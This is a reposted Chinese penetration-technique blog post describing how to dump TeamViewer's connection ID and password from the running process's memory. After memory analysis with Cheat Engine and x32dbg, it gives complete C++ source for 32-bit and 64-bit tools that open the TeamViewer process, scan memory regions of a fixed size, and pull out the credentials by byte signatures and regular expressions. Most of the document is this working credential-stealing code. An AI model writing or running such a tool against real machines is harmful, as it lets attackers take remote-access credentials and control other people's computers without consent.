Dump内存得到TeamViewer账号密码

渗透技巧 2年前 (2021) admin
1,258 0 0
最近看到用窗体得到TV的账号密码在最新版不能用了 于是就想写个工具实现一下通过内存得到账号密码 ## 0x01 通过CE搜索账号密码存在的内存块 类型设置为文本,选择unicode编码,多搜…

最近看到用窗体得到TV的账号密码在最新版不能用了

于是就想写个工具实现一下通过内存得到账号密码

0x01 通过CE搜索账号密码存在的内存块

类型设置为文本,选择unicode编码,多搜索几次找到这个值

Dump内存得到TeamViewer账号密码

本来想的是应该有个指针直接指向密码,想把这个指针的基址找到就可以了,但是调了一下好像找不到这个基址

还有ID是不可以修改的,定位也不方便,想到遍历内存来得到ID和密码

再用CE搜索一下ID

Dump内存得到TeamViewer账号密码

可以看到在密码的附近都是有很多ID

用的是遍历可以不用知道具体的位置,剩下的就是要思考怎么让遍历的内存更准确,遍历0000000-7FFF0000肯定是可以的,但是这样会出现很多误报,因为后面是准备使用正则匹配的,难免会匹配到别的字符串

先用x32dbg查看下内存的属性

Dump内存得到TeamViewer账号密码

从CE上看ID和密码就在这块内存里面,这里有个特征就是这块内存的大小是1FF000,后面会用到

那么思路就是先得到进程的基址,然后遍历所有内存块基址,找到一个1FF000大小的内存,遍历内部内容,得到ID密码,这样遍历的内存也不会很大,也可以降低匹配误差

0x02 需要用到的函数和结构

下面介绍一下需要用到的函数和结构

ZwQueryVirtualMemory

  1. typedef NTSTATUS(WINAPI* fnZwQueryVirtualMemory) (
  2. HANDLE ProcessHandle, //进程句柄
  3. PVOID BaseAddress, //内存地址
  4. MEMORY_INFORMATION_CLASS MemoryInformationClass, //选择需要的内存信息,下面介绍
  5. PVOID MemoryInformation, //指向MEMORY_BASIC_INFORMATION结构的指针
  6. SIZE_T MemoryInformationLength, //MEMORY_BASIC_INFORMATION结构的大小
  7. PSIZE_T ReturnLength //返回结构的大小
  8. );

这个函数就是获取内存块的属性然后存放到MEMORY_BASIC_INFORMATION结构

MemoryInformationClass

  1. typedef enum _MEMORY_INFORMATION_CLASS {
  2. MemoryBasicInformation,
  3. MemoryWorkingSetList,
  4. MemorySectionName,
  5. MemoryBasicVlmInformation
  6. } MEMORY_INFORMATION_CLASS;

这是一个枚举类型,选择需要什么内存信息,这里需要遍历内存选择MemoryBasicInformation就可以

MEMORY_BASIC_INFORMATION

  1. typedef struct _MEMORY_BASIC_INFORMATION {
  2. PVOID BaseAddress; //内存块的起始地址
  3. PVOID AllocationBase; //指向VirtualAlloc函数等开辟的内存的地址的指针
  4. DWORD AllocationProtect;
  5. //内存块的初始属性,打个比方开了一块内存赋予RW属性,就算后面用VirtualProtect修改为RWX这里也是RW,是这个内存初始时候的属性
  6. #if defined (_WIN64)
  7. WORD PartitionId; //不知道,msdn没写
  8. #endif
  9. SIZE_T RegionSize; //内存块的大小
  10. DWORD State; //内存块的状态
  11. DWORD Protect; //内存块当前的属性
  12. DWORD Type; //内存块的类型
  13. } MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;

EnumProcessModules

  1. BOOL WINAPI EnumProcessModules(
  2. _In_ HANDLE hProcess, //进程的句柄
  3. _Out_writes_bytes_(cb) HMODULE* lphModule, //存放模块的数组
  4. _In_ DWORD cb, //数组的大小
  5. _Out_ LPDWORD lpcbNeeded //所有模块的存储在lphModule中的字节数
  6. );

这个函数主要是用来找到进程的基地址

Dump内存得到TeamViewer账号密码

可以看到进程的基地址是偏向上面的,只要往下遍历就好

0x03 实现过程

  1. EnumProcessModules得到进程的基地址
  2. 用do…while循环配合ZwQueryVirtualMemory得到内存块属性,如果不是1FF000就加上内存块的大小跳到下一个内存块,如果是的话直接得到模块的基地址然后遍历这个模块的内存
  3. 用ReadProcessMemory将内存读出来
  4. 用正则表达式加特征匹配内存中的字符

关于最后一点的特征,光知道大小只能定位模块,还需要知道一些ID密码附近的内存特征

发现ID的前面会有个0x80,后面会用0x00,0x00结尾

密码前面有0x88,用0x00,0x00结尾

还有一个坑点就是unicode的正则表达式匹配,没找到特别好的方法

还好这里都是英文和数字,只要取出13579位置的值然后放入一个char类型的数组中,就可以用正则匹配了

如下

  1. 35 00 72 00 6A 00 32 00 61 00 6D 00 35 00 61 00
  2. 5rj2am5a unicode
  3. 取出1 3 5 7 9 11 13 15存入char类型的数组就可以用正则了

0x04 代码实现 x32

  1. #include<stdio.h>
  2. #include<Windows.h>
  3. #include <dbghelp.h>
  4. #pragma comment(lib,"dbghelp.lib")
  5. #include <shlwapi.h>
  6. #include "tlhelp32.h"
  7. #include <psapi.h>
  8. #include <regex>
  9. #if _WIN64
  10. _int64 EndAddress = 0x0007FFFFFFFF0000;
  11. #else
  12. int EndAddress = 0X7FFF0000;
  13. #endif //根据位数不同遍历的地址大小不同
  14. using namespace std;
  15. typedef enum _MEMORY_INFORMATION_CLASS {
  16. MemoryBasicInformation,
  17. MemoryWorkingSetList,
  18. MemorySectionName,
  19. MemoryBasicVlmInformation
  20. } MEMORY_INFORMATION_CLASS;
  21. typedef NTSTATUS(WINAPI* fnZwQueryVirtualMemory) (
  22. HANDLE ProcessHandle,
  23. PVOID BaseAddress,
  24. MEMORY_INFORMATION_CLASS MemoryInformationClass,
  25. PVOID MemoryInformation,
  26. SIZE_T MemoryInformationLength,
  27. PSIZE_T ReturnLength
  28. );
  29. int GetPidByName(PCWCHAR procName) {
  30. HANDLE ProcessId = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
  31. if (ProcessId == NULL) {
  32. printf("Fail");
  33. }
  34. PROCESSENTRY32 te32 = { 0 };
  35. te32.dwSize = sizeof(te32);
  36. int number = 0;
  37. if (Process32First(ProcessId, &amp;te32)) {
  38. do {
  39. if (!lstrcmp(te32.szExeFile, procName)) {
  40. //printf("[+] TeamViewer PID: %d", te32.th32ProcessID);
  41. return te32.th32ProcessID;
  42. }
  43. } while (Process32Next(ProcessId, &amp;te32));
  44. }
  45. } //用进程名得到PID
  46. int main() {
  47. MEMORY_BASIC_INFORMATION mbi = { 0 }; //初始化MEMORY_BASIC_INFORMATION结构
  48. fnZwQueryVirtualMemory ZwQueryVirtualMemory = (fnZwQueryVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwQueryVirtualMemory");
  49. //ndtll.dll得到ZwQueryVirtualMemory
  50. if (ZwQueryVirtualMemory == NULL) {
  51. if (ZwQueryVirtualMemory == NULL)
  52. {
  53. printf("没有找到ZwQueryVirtualMemory函数");
  54. system("pause");
  55. return 0;
  56. }
  57. }
  58. //如果为NULL就是没找到
  59. DWORD cbNeeded; //EnumProcessModules参数
  60. HMODULE pModuleIds[1024]; //EnumProcessModules存放模块的数组
  61. HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetPidByName(L"TeamViewer.exe"));
  62. //TeamViewer.exe进程句柄
  63. EnumProcessModules(hProcess, pModuleIds, sizeof(pModuleIds), &amp;cbNeeded);
  64. int StartAddress = (int)pModuleIds[0];
  65. printf("[+]PEBaseAddress: %p\n", StartAddress); //找到TeamViewer.exe基地址
  66. do {
  67. ZwQueryVirtualMemory(hProcess, (LPVOID)StartAddress, MemoryBasicInformation, &amp;mbi, sizeof(mbi), NULL); //从基地址开始遍历,将内存信息存放MEMORY_BASIC_INFORMATION结构
  68. if (mbi.RegionSize == 0x1FF000) { //查看内存大小是否为1FF000
  69. int id_temp = 0; //临时变量,找到了就改为1,避免重复读取
  70. char password_temp = 0; //同上
  71. printf("[+]BaseAddress: %p\n", mbi.BaseAddress); //模块基地址
  72. for (int i = 0; i < 0x1FF000; i++) {
  73. char id[0x17]; //存放id的char数组,因为是unicode字符所以要双倍大小加上前面的0x80和后面的0x00,0x00
  74. char id_char[0xA] = {0}; //unicode转换为ASCII存放的数组
  75. char password[0x15]; //存放密码的unicode数组,加上前面的0x88和后面的0x00,0x00
  76. char password_char[0x9] = {0}; //同上
  77. ReadProcessMemory(hProcess, (LPVOID)((int)mbi.BaseAddress + i), password, 0x15, NULL);
  78. ReadProcessMemory(hProcess, (LPVOID)((int)mbi.BaseAddress + i), id, 0x17, NULL);
  79. //内存中读出数据
  80. for (int x = 0; x <= 0x8; x++) {
  81. password_char[x] = password[ x * 2 + 2 ];
  82. }
  83. //将0x00去除写入password_char数组
  84. password_char[8] = '\x00'; //最后加上\x00结尾
  85. if (password[1] == 0xffffff88 &amp;&amp; password[17] == 0 &amp;&amp; password[18] == 0 &amp;&amp; regex_match(password_char, regex("[0-9a-z]{8}"))) {
  86. printf("[+]password: %s\n", password_char);
  87. password_temp = 1;
  88. }
  89. //判断password[1]是否为0x88,17,18位是否为00,最后正则匹配password_char
  90. for (int x = 0; x <= 0x9; x++) {
  91. id_char[x] = password[x * 2 + 2];
  92. }
  93. //同上
  94. id_char[9] = '\x00';
  95. if (id_temp == 0 &amp;&amp; id[1] == 0xffffff80 &amp;&amp; id[19] == 0 &amp;&amp; id[20] == 0 &amp;&amp; regex_match(id_char, regex("[0-9]{9}"))) {
  96. printf("[+]id: %s\n", id_char);
  97. id_temp = 1;
  98. }
  99. //这里和上面差不多,id_temp == 0 是因为ID会出现多个相同的值,所以只要取到一次就不用再取了
  100. if (id_temp == 1 &amp;&amp; password_temp == 1) {
  101. break;
  102. }
  103. //如果id_temp和password_temp都为1说明已经都取到了就可以跳出循环了
  104. }
  105. break;
  106. }
  107. StartAddress += mbi.RegionSize; //不是就加上当前内存块大小继续遍历
  108. } while (StartAddress <= EndAddress);
  109. }
Dump内存得到TeamViewer账号密码

0x05 代码实现 x64

64位中线程的内存地址都比进程基址小了,就是存有ID密码的内存都到进程上面了

Dump内存得到TeamViewer账号密码

都是7FFE0000开始,这样就不用先得到进程基址,可以直接遍历

还有在64位中密码开头的数字变成了0x90,这也是需要改下的,别的基本都是相同的

Dump内存得到TeamViewer账号密码
贴一下修改后的代码

  1. #include<stdio.h>
  2. #include<Windows.h>
  3. #include <dbghelp.h>
  4. #pragma comment(lib,"dbghelp.lib")
  5. #include <shlwapi.h>
  6. #include "tlhelp32.h"
  7. #include <psapi.h>
  8. #include <regex>
  9. #if _WIN64
  10. _int64 EndAddress = 0x0007FFFFFFFF0000;
  11. #else
  12. int EndAddress = 0X7FFF0000;
  13. #endif //根据位数不同遍历的地址大小不同
  14. using namespace std;
  15. typedef enum _MEMORY_INFORMATION_CLASS {
  16. MemoryBasicInformation,
  17. MemoryWorkingSetList,
  18. MemorySectionName,
  19. MemoryBasicVlmInformation
  20. } MEMORY_INFORMATION_CLASS;
  21. typedef NTSTATUS(WINAPI* fnZwQueryVirtualMemory) (
  22. HANDLE ProcessHandle,
  23. PVOID BaseAddress,
  24. MEMORY_INFORMATION_CLASS MemoryInformationClass,
  25. PVOID MemoryInformation,
  26. SIZE_T MemoryInformationLength,
  27. PSIZE_T ReturnLength
  28. );
  29. int GetPidByName(PCWCHAR procName) {
  30. HANDLE ProcessId = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
  31. if (ProcessId == NULL) {
  32. printf("Fail");
  33. }
  34. PROCESSENTRY32 te32 = { 0 };
  35. te32.dwSize = sizeof(te32);
  36. int number = 0;
  37. if (Process32First(ProcessId, &amp;te32)) {
  38. do {
  39. if (!lstrcmp(te32.szExeFile, procName)) {
  40. printf("[+]TeamViewer PID: %d\n", te32.th32ProcessID);
  41. return te32.th32ProcessID;
  42. }
  43. } while (Process32Next(ProcessId, &amp;te32));
  44. }
  45. } //用进程名得到PID
  46. int main() {
  47. MEMORY_BASIC_INFORMATION mbi = { 0 }; //初始化MEMORY_BASIC_INFORMATION结构
  48. fnZwQueryVirtualMemory ZwQueryVirtualMemory = (fnZwQueryVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwQueryVirtualMemory");
  49. //ndtll.dll得到ZwQueryVirtualMemory
  50. if (ZwQueryVirtualMemory == NULL) {
  51. if (ZwQueryVirtualMemory == NULL)
  52. {
  53. printf("没有找到ZwQueryVirtualMemory函数");
  54. system("pause");
  55. return 0;
  56. }
  57. }
  58. //如果为NULL就是没找到
  59. HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, GetPidByName(L"TeamViewer.exe"));
  60. _int64 StartAddress = 0x000000007FFE0000;
  61. do {
  62. ZwQueryVirtualMemory(hProcess, (LPVOID)StartAddress, MemoryBasicInformation, &amp;mbi, sizeof(mbi), NULL); //从基地址开始遍历,将内存信息存放MEMORY_BASIC_INFORMATION结构
  63. if (mbi.RegionSize == 0x1FF000) { //查看内存大小是否为1FF000
  64. int id_temp = 0; //临时变量,找到了就改为1,避免重复读取
  65. char password_temp = 0; //同上
  66. for (int i = 0; i < 0x1FF000; i++) {
  67. char id[0x17]; //存放id的char数组,因为是unicode字符所以要双倍大小加上前面的0x80和后面的0x00,0x00
  68. char id_char[0xA] = { 0 }; //unicode转换为ASCII存放的数组
  69. char password[0x15]; //存放密码的unicode数组,加上前面的0x88和后面的0x00,0x00
  70. char password_char[0x9] = { 0 }; //同上
  71. ReadProcessMemory(hProcess, (LPVOID)((_int64)mbi.BaseAddress + i), password, 0x15, NULL);
  72. ReadProcessMemory(hProcess, (LPVOID)((_int64)mbi.BaseAddress + i), id, 0x17, NULL);
  73. //内存中读出数据
  74. for (int x = 0; x <= 0x8; x++) {
  75. password_char[x] = password[x * 2 + 2];
  76. }
  77. //将0x00去除写入password_char数组
  78. password_char[8] = '\x00'; //最后加上\x00结尾
  79. if (password[1] == 0xffffff90 &amp;&amp; password[17] == 0 &amp;&amp; password[18] == 0 &amp;&amp; regex_match(password_char, regex("[0-9a-z]{8}"))) {
  80. printf("[+]password: %s\n", password_char);
  81. password_temp = 1;
  82. }
  83. //判断password[1]是否为0x88,17,18位是否为00,最后正则匹配password_char
  84. for (int x = 0; x <= 0x9; x++) {
  85. id_char[x] = password[x * 2 + 2];
  86. }
  87. //同上
  88. id_char[9] = '\x00';
  89. if (id_temp == 0 &amp;&amp; id[0] == 0x20 &amp;&amp; id[19] == 0 &amp;&amp; id[20] == 0 &amp;&amp; regex_match(id_char, regex("[0-9]{9}"))) {
  90. printf("[+]id: %s\n", id_char);
  91. id_temp = 1;
  92. }
  93. //这里和上面差不多,id_temp == 0 是因为ID会出现多个相同的值,所以只要取到一次就不用再取了
  94. if (id_temp == 1 &amp;&amp; password_temp == 1) {
  95. break;
  96. }
  97. //如果id_temp和password_temp都为1说明已经都取到了就可以跳出循环了
  98. }
  99. break;
  100. }
  101. StartAddress += mbi.RegionSize; //不是就加上当前内存块大小继续遍历
  102. } while (0 <= StartAddress);
  103. }
Dump内存得到TeamViewer账号密码

 

原文始发于奇安信攻防社区(Macchiato):Dump内存得到TeamViewer账号密码

版权声明:admin 发表于 2021年12月27日 上午9:03。
转载请注明:Dump内存得到TeamViewer账号密码 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...